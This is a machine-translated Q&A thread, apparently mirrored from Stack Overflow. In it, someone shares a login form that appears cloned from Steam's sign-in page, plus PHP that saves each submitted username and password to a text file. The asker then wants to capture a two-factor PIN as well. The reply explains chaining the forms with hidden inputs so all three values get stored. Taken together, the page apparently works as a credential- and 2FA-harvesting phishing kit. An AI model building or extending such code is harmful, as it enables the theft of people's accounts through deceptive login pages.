如何一次将多个表单写入文件

时间:2017-08-04 02:35:41

标签: javascript php html

目前我有两种形式,一种用于用户名和密码,另一种用于特殊身份验证引脚。

用户名和密码

<form action="#" method="POST" id="hello" onsubmit="return false;">
<div id="loadingGif" style="display:none"><img src="#"></div> 

<input class="btn_green_white_innerfade btn_medium" type="submit" 
name="submit" id="userLogin" value="Sign in" width="104" height="25" 
border="0" tabindex="5" onclick="showDiv()">
            <div class="mainLoginLeftPanel_signin">
                <label for="userAccountName">username</label><br>
                <input class="textField" type="text" name="username" 
id="userAccountName" maxlength="64" tabindex="1" value=""><br>&nbsp;<br>
                <label for="userPassword">Password</label><br>
                <input class="textField" type="password" name="password" 
id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br>
                <div id="passwordclearlabel" style="text-align: left; 
display: none;">It seems that you may be having trouble entering your 
password. We will now show your password in plain text (login is still 
secure).</div>
</div>

通过将/loginaction.php添加到action =&#34;&#34;,我能够使用PHP将用户名和密码输入写入文本文件,但是现在我想用同样的方法特殊的双因素引脚,将文件添加到action =&#34;&#34;,在div显示之前刷新页面,允许用户输入引脚,我需要帮助找到写入所有三个输入的方法进入这个文本文件,任何帮助将不胜感激,这是非常新的

显示输入代码的div的函数在这里

function showDiv() {
    document.getElementById('userLogin').style.display = "none";
    document.getElementById('loadingGif').style.display = "block";
    setTimeout(function() {
        document.getElementById('loadingGif').style.display = "none";
        document.getElementById('showme').style.display = "block";
    },2000);
}

写入文件的PHP代码是

<?php
$myfile = fopen("newfile_" . uniqid() . ".txt", "w") or die("File written");
$txt = $_POST['username'] . ':' . $_POST['password'];
fwrite($myfile, $txt);
fclose($myfile);
echo "LOREM IPSUM:("; 
?>  

1 个答案:

答案 0 :(得分:0)

你有点不清楚你在问什么。您似乎在问,如何使用一个表单创建用户名和密码,然后将它们重定向到另一个页面,让它们制作一个引脚,然后将所有这三个输入写入特定的文本文件?

忽略你可以在一个页面而不是你正在做的事情上做这两件事的事实,你只需将你的相关信息发布到链中的下一页。

用户名&amp;密码表格 - &gt; POSTS TO - &gt; PIN码表格 - &gt; POSTS TO - &gt;处理表格,其中所有三位信息被处理成上述文本文件。

您只需将用户名和密码表单中的信息转发为密码表单中的隐藏输入。